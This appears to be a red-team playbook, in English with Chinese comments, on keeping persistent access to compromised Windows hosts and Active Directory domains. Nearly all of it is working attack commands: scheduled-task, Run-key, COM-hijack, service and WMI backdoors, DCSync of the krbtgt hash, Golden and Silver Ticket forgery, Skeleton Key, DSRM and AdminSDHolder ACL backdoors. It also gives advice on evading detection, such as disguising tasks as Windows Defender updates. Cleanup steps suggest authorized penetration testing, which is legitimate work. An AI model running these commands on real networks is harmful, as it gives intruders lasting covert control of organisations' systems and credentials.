Core objective after obtaining high privileges: establish persistent access to ensure a return to the target environment after reboot/password changes.
In-depth reference (required reading)
- Complete host-level persistence commands and cleanup → references/host-persistence.md
- Complete domain-level persistence commands and cleanup → references/domain-persistence.md
- → references/advanced-persistence.md — DCShadow, GoldenGMSA, krbtgt delegation persistence, Shadow Principals (PAM Trust)
Phase 1: Persistence decision
1.1 Current privilege assessment
# 检查当前权限
whoami /priv
whoami /groups
# 是否为域管
net group "Domain Admins" /domain
# 是否为本地管理员
net localgroup Administrators
1.2 Decision tree
[开始] 需要建立持久化
|
v
[评估] 当前权限级别?
|
+-- 普通域用户 --> 先提权，持久化意义不大
|
+-- 本地管理员 / SYSTEM --> [主机级持久化] Phase 2
| |
| +-- 需要隐蔽 --> COM 劫持 / WMI 事件订阅
| +-- 需要可靠 --> 计划任务 / Windows 服务
| +-- 仅需用户级 --> 注册表 Run / 启动文件夹
|
+-- 域管理员 --> [域级持久化] Phase 3
|
+-- 有 krbtgt 哈希 --> Golden Ticket (最强)
+-- 有服务账户哈希 --> Silver Ticket (隐蔽)
+-- 有 DC 访问权限 --> Skeleton Key / DSRM
+-- 需要 ACL 后门 --> AdminSDHolder
1.3 Stealth assessment
| Technique | Detection difficulty | Persistence duration | Privilege requirement | Recommended scenario |
|---|---|---|---|---|
| Scheduled task | Medium | Permanent | User/SYSTEM | Rapid deployment |
| Startup folder | Low | Permanent | User | Temporary/low value |
| Registry Run | Medium | Permanent | User/SYSTEM | General |
| COM hijacking | High | Permanent | User | Long-term stealth |
| Windows service | Medium | Permanent | SYSTEM | System-level access |
| WMI event subscription | High | Permanent | SYSTEM | High stealth requirement |
| Golden Ticket | High | 10 years | krbtgt hash | Strongest at domain level |
| Silver Ticket | High | Ticket validity period | Service account hash | Does not touch the DC |
| Skeleton Key | Medium | Invalid after reboot | DC memory access | Temporary master key |
| DSRM | High | Permanent | DC local administrator | Stealthy backdoor |
| AdminSDHolder | Medium | Permanent (60min sync) | Domain administrator | ACL persistence |
Phase 2: Host-level persistence
2.1 Scheduled task
Privilege: User-level or SYSTEM | Detection difficulty: Medium
# SharPersist - 每小时执行
SharPersist.exe -t schtask -c "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -a "-nop -w hidden -enc BASE64" -n "Updater" -m add -o hourly
# schtasks - 开机启动 / 定时执行
schtasks /create /tn "WinDefUpdate" /tr "C:\Windows\Temp\svc.exe" /sc onlogon /ru SYSTEM /f
schtasks /create /tn "HealthCheck" /tr "C:\Windows\Temp\svc.exe" /sc minute /mo 30 /ru SYSTEM /f
# 清理
schtasks /delete /tn "WinDefUpdate" /f
2.2 Startup folder
Privilege: User | Detection difficulty: Low
SharPersist.exe -t startupfolder -c "powershell.exe" -a "-nop -w hidden -enc BASE64" -f "UserEnvSetup" -m add
# 路径: %APPDATA%\Microsoft\Windows\Start Menu\Programs\Startup\
# 清理
Remove-Item "$env:APPDATA\Microsoft\Windows\Start Menu\Programs\Startup\UserEnvSetup.lnk"
2.3 Registry Run key
Privilege: User (HKCU) / SYSTEM (HKLM) | Detection difficulty: Medium
reg add "HKCU\Software\Microsoft\Windows\CurrentVersion\Run" /v "WinUpdate" /t REG_SZ /d "C:\ProgramData\updater.exe" /f
reg add "HKLM\Software\Microsoft\Windows\CurrentVersion\Run" /v "WinUpdate" /t REG_SZ /d "C:\ProgramData\updater.exe" /f
# 清理
reg delete "HKCU\Software\Microsoft\Windows\CurrentVersion\Run" /v "WinUpdate" /f
More registry locations (Winlogon Shell/Userinit, IFEO) see references/host-persistence.md
2.4 COM hijacking
Privilege: User | Detection difficulty: High
Principle: Register a malicious DLL with the same CLSID in HKCU, which is loaded in preference to the legitimate component in HKLM.
# 在 HKCU 创建劫持项 (HKLM 中已存在该 CLSID)
New-Item -Path "HKCU:Software\Classes\CLSID" -Name "{TARGET-CLSID}"
New-Item -Path "HKCU:Software\Classes\CLSID\{TARGET-CLSID}" -Name "InprocServer32" -Value "C:\Payloads\beacon.dll"
New-ItemProperty -Path "HKCU:Software\Classes\CLSID\{TARGET-CLSID}\InprocServer32" -Name "ThreadingModel" -Value "Both"
# 清理
Remove-Item -Path "HKCU:Software\Classes\CLSID\{TARGET-CLSID}" -Recurse
For CLSID discovery methods (procmon/scheduled task enumeration), see references/host-persistence.md
2.5 Windows Services
Privileges: SYSTEM | Detection Difficulty: Medium
sc create "WinDefSvc" binPath= "C:\Windows\legit-svc.exe" start= auto DisplayName= "Windows Defender Update"
sc start "WinDefSvc"
# 清理
sc stop "WinDefSvc" && sc delete "WinDefSvc"
SYSTEM processes cannot perform network NTLM authentication; use SMB/TCP/DNS channels instead of HTTP.
2.6 WMI Event Subscription
Privileges: SYSTEM | Detection Difficulty: High
Three-component architecture: EventFilter (trigger condition) + EventConsumer (action to execute) + FilterToConsumerBinding (binding).
# PowerLurk 一键创建
Import-Module .\PowerLurk.ps1
Register-MaliciousWmiEvent -EventName WmiBackdoor -PermanentCommand "C:\Windows\artifact.exe" -Trigger ProcessStart -ProcessName notepad.exe
# 清理
Get-WmiEvent -Name WmiBackdoor | Remove-WmiObject
For the complete three-component PowerShell/wmic manual creation code, see references/host-persistence.md
Phase 3: Domain-Level Persistence
3.1 Golden Ticket
Requirements: krbtgt NTLM hash (obtained via DCSync) | Validity Period: 10 years by default
# Linux: DCSync + 伪造 + 使用
impacket-secretsdump DOMAIN/admin:PASS@DC_IP -just-dc-user krbtgt
ticketer.py -nthash KRBTGT_HASH -domain-sid S-1-5-21-xxx -domain domain.local Administrator
export KRB5CCNAME=Administrator.ccache
psexec.py -k -no-pass domain.local/Administrator@dc.domain.local
# Windows
Rubeus.exe golden /user:Administrator /domain:DOMAIN /sid:S-1-5-21-xxx /krbtgt:KRBTGT_HASH /ptt
Cleanup: Change the krbtgt password twice (AD retains the previous password). For cross-domain scenarios and the /sids parameter, see references.
3.2 Silver Ticket
Requirements: Service account NTLM hash | Advantage: Does not touch the DC
ticketer.py -nthash SVC_HASH -domain-sid S-1-5-21-xxx -domain domain.local -spn cifs/target.domain.local Administrator
Rubeus.exe silver /service:cifs/TARGET /user:Administrator /domain:DOMAIN /sid:S-1-5-21-xxx /rc4:SVC_HASH /ptt
Common SPNs: cifs/HOST(file), HOST/DC(PsExec), MSSQLSvc/DB(SQL), LDAP/DC(DCSync)。Cleanup: Change the service account password.
3.3 Skeleton Key
Requirements: DC memory access (Domain Admin + SeDebugPrivilege) | Validity Period: Until the DC restarts
mimikatz # privilege::debug
mimikatz # misc::skeleton
# 所有域用户均可使用密码 "mimikatz" 登录，原密码仍有效
Cleanup: Simply restart the domain controller. Memory-only; must be combined with other techniques.
3.4 DSRM (Directory Services Restore Mode)
Requirements: DC local administrator | Validity Period: Permanent
mimikatz # lsadump::sam # 获取 DSRM 哈希 (SAM 中 Administrator)
New-ItemProperty "HKLM:\System\CurrentControlSet\Control\Lsa\" -Name "DsrmAdminLogonBehavior" -Value 2 -PropertyType DWORD
sekurlsa::pth /domain:DC_HOSTNAME /user:Administrator /ntlm:DSRM_HASH /run:powershell.exe
Cleanup: Remove-ItemProperty "HKLM:\...\Lsa\" -Name "DsrmAdminLogonBehavior"
3.5 AdminSDHolder
Requirements: Domain Administrator | SDProp synchronizes ACLs to all protected objects every 60 minutes
Add-DomainObjectAcl -TargetIdentity "CN=AdminSDHolder,CN=System,DC=domain,DC=local" -PrincipalIdentity attacker -Rights All
impacket-dacledit -action write -rights FullControl -principal attacker -target "CN=AdminSDHolder,CN=System,DC=domain,DC=local" DOMAIN/admin:PASS -dc-ip DC_IP
Cleanup: Remove-DomainObjectAcl ... -PrincipalIdentity attacker -Rights All + wait for SDProp synchronization
Phase 4: Cleanup and Detection Evasion
4.1 Cleanup Command Quick Reference
| Technique | Install Command | Cleanup Command |
|---|---|---|
| Scheduled Task | schtasks /create /tn NAME ... |
schtasks /delete /tn NAME /f |
| Startup Folder | SharPersist -m add |
Remove-Item ...Startup\NAME.lnk |
| Registry Run | reg add ...Run /v NAME |
reg delete ...Run /v NAME /f |
| COM Hijacking | New-Item HKCU:...CLSID |
Remove-Item HKCU:...CLSID -Recurse |
| Windows Service | sc create NAME |
sc stop NAME && sc delete NAME |
| WMI Event | Register-MaliciousWmiEvent |
Get-WmiEvent NAME | Remove-WmiObject |
| Golden Ticket | ticketer.py -nthash |
Change the krbtgt password twice |
| Silver Ticket | ticketer.py -spn |
Change the service account password |
| Skeleton Key | misc::skeleton |
Restart the domain controller |
| DSRM | Modify DsrmAdminLogonBehavior | Delete the registry key |
| AdminSDHolder | Add-DomainObjectAcl |
Remove-DomainObjectAcl + wait for SDProp |
4.2 Key Points for Detection Evasion
主机级:
- 任务名称模仿合法系统任务 (Windows Defender, Microsoft Update)
- 二进制文件放置在合法路径 (C:\Windows, C:\ProgramData)
- 使用 DLL 劫持而非独立 EXE
- WMI 触发条件设置合理间隔，避免频繁执行
域级:
- Golden Ticket 用户名使用真实存在的用户
- Silver Ticket 只针对需要的特定服务
- 避免跨域使用伪造票据 (日志异常)
- AdminSDHolder 添加低调权限而非 FullControl
Combination Strategy
最大持久性 (多层冗余):
域管: Golden Ticket + AdminSDHolder + 计划任务
本管: WMI 事件订阅 + COM 劫持 + 注册表 Run
最大隐蔽 (单一精准):
域管: Silver Ticket (仅特定服务，不触及 DC)
本管: COM 劫持 (DLL 形式，检测难度最高)
Common Issues
- Scheduled task deleted? -- Switch to COM hijacking or WMI event subscription; all three WMI components must be deleted to remove it
- Golden Ticket not working? -- Confirm the krbtgt hash is correct, the domain SID is correct, and the time skew is < 5 minutes
- Skeleton Key stops working after restart? -- This is by design (memory-only); combine with a Golden Ticket or scheduled task
- AdminSDHolder not taking effect? -- SDProp runs every 60 minutes; trigger it manually
Invoke-ADSDPropagation
Tool Reference
| Tool | Purpose | Platform |
|---|---|---|
| SharPersist | Multiple host persistence techniques (tasks/registry/services/COM/startup) | Windows |
| PowerLurk | WMI event subscription | Windows |
| SharpStay | C# persistence tool | Windows |
| Rubeus | Golden/Silver Ticket creation | Windows |
| Mimikatz | Skeleton Key/DSRM/ticket forgery | Windows |
| ticketer.py | Kerberos ticket forgery (impacket) | Linux |
| impacket-secretsdump | DCSync to obtain hashes | Linux |
| impacket-dacledit | ACL modification (AdminSDHolder) | Linux |
| Incognito | Token theft and impersonation | Windows |